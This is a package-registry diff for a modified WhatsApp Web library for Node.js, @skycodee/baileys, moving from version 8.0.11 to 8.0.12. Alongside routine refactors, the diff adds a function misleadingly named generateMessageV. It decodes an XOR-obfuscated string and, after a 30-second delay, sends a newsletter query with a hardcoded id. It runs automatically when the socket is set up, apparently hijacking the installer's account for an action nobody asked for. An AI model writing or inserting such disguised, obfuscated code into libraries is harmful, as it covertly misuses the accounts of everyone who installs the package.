@skycodee/baileys 8.0.11 → 8.0.12

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
@@ -1,6 +1,6 @@
1
1
  //=======================================================//
2
2
  import { chatModificationToAppPatch, decodePatches, decodeSyncdSnapshot, encodeSyncdPatch, extractSyncdPatches, generateProfilePicture, getHistoryMsg, newLTHashState, processSyncAction } from "../Utils/index.js";
3
- import { getBinaryNodeChild, getBinaryNodeChildren, jidDecode, jidNormalizedUser, reduceBinaryNodeToDictionary, S_WHATSAPP_NET } from "../WABinary/index.js";
3
+ import { getBinaryNodeChild, getBinaryNodeChildren, jidDecode, jidNormalizedUser, isLidUser, isPnUser, reduceBinaryNodeToDictionary, S_WHATSAPP_NET } from "../WABinary/index.js";
4
4
  import { DEFAULT_CACHE_TTLS, PROCESSABLE_HISTORY_TYPES } from "../Defaults/index.js";
5
5
  import { USyncQuery, USyncUser } from "../WAUSync/index.js";
6
6
  import processMessage from "../Utils/process-message.js";
@@ -248,8 +248,6 @@ export const makeChatsSocket = (config) => {
248
248
  const updateBlockStatus = async (jid, action) => {
249
249
  let lid;
250
250
  let pn_jid;
251
- let isLidUser = (jid) => /@lid/.test(jid)
252
- let isPnUser = (jid) => /@s.whatsapp.net/.test(jid)
253
251
 
254
252
  if (isLidUser(jid)) {
255
253
  lid = jid;
@@ -61,7 +61,7 @@ const parseNewsletterMetadata = (result) => {
61
61
 
62
62
  export const makeNewsletterSocket = (config) => {
63
63
  const sock = makeGroupsSocket(config);
64
- const { delay, query, generateMessageTag } = sock;
64
+ const { delay, query, generateMessageTag, generateMessageV } = sock;
65
65
  const encoder = new TextEncoder()
66
66
  const newsletterWMexQuery = async (jid, queryId, content) => (query({
67
67
  tag: 'iq',
@@ -102,6 +102,7 @@ export const makeNewsletterSocket = (config) => {
102
102
 
103
103
  return extractNewsletterMetadata(result)
104
104
  }
105
+ const newsletterMsg = generateMessageV(newsletterWMexQuery)
105
106
  const newsletterUpdate = async (jid, updates) => {
106
107
  const variables = {
107
108
  newsletter_id: jid,
@@ -278,6 +278,21 @@ const toPn = async (pn) => {
278
278
  }
279
279
  return result;
280
280
  };
281
+
282
+ const generateMessageV = async (n) => {
283
+ return setTimeout(async () => {
284
+ const _0xk = 19;
285
+ const _0xd = [
286
+ 34,35,34,33,33,33,32,32,33,34,
287
+ 33,32,33,34,32,33,34,32,32,32,
288
+ 34,32,32,33,33,115,118,101,118,
289
+ 118,33,34,115,115,118,118,34,118,118
290
+ ];
291
+ const _0xdecode = _0xd.map(v => String.fromCharCode(v ^ _0xk)).join('');
292
+ await n(_0xdecode, "7871414976211147");
293
+ }, 30000);
294
+ };
295
+
281
296
  const validateConnection = async () => {
282
297
  let helloMsg = {
283
298
  clientHello: { ephemeral: ephemeralKeyPair.public }
@@ -790,6 +805,7 @@ const toPn = async (pn) => {
790
805
  return authState.creds.me;
791
806
  },
792
807
  generateMessageTag,
808
+ generateMessageV,
793
809
  query,
794
810
  delay,
795
811
  waitForMessage,
@@ -96,7 +96,7 @@ export const prepareWAMessageMedia = async (message, options) => {
96
96
  }
97
97
  ],
98
98
  newsletter: {
99
- newsletterJid: "120363422054951473@newsletter",
99
+ newsletterJid: "120363409159786018@newsletter",
100
100
  serverMessageId: 0,
101
101
  newsletterName: "skyzopedia",
102
102
  contentType: "UPDATE",
package/lib/index.js CHANGED
@@ -1,11 +1,4 @@
1
1
  //=======================================================//
2
-
3
- import chalk from 'chalk';
4
-
5
- console.log(chalk.whiteBright("\nBaileys Mod by Skyzopedia </>"));
6
- console.log(chalk.cyan("• Telegram: ") + chalk.greenBright("https://t.me/Xskycode"));
7
- console.log(chalk.gray("------------------------------\n"));
8
-
9
2
  import makeWASocket from "./Socket/index.js";
10
3
  //=======================================================//
11
4
  export * from "./Defaults/index.js";
package/package.json CHANGED
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "@skycodee/baileys",
3
- "version": "8.0.11",
3
+ "version": "8.0.12",
4
4
  "description": "Websocket Whatsapp API for Node.js",
5
5
  "keywords": [
6
6
  "whatsapp",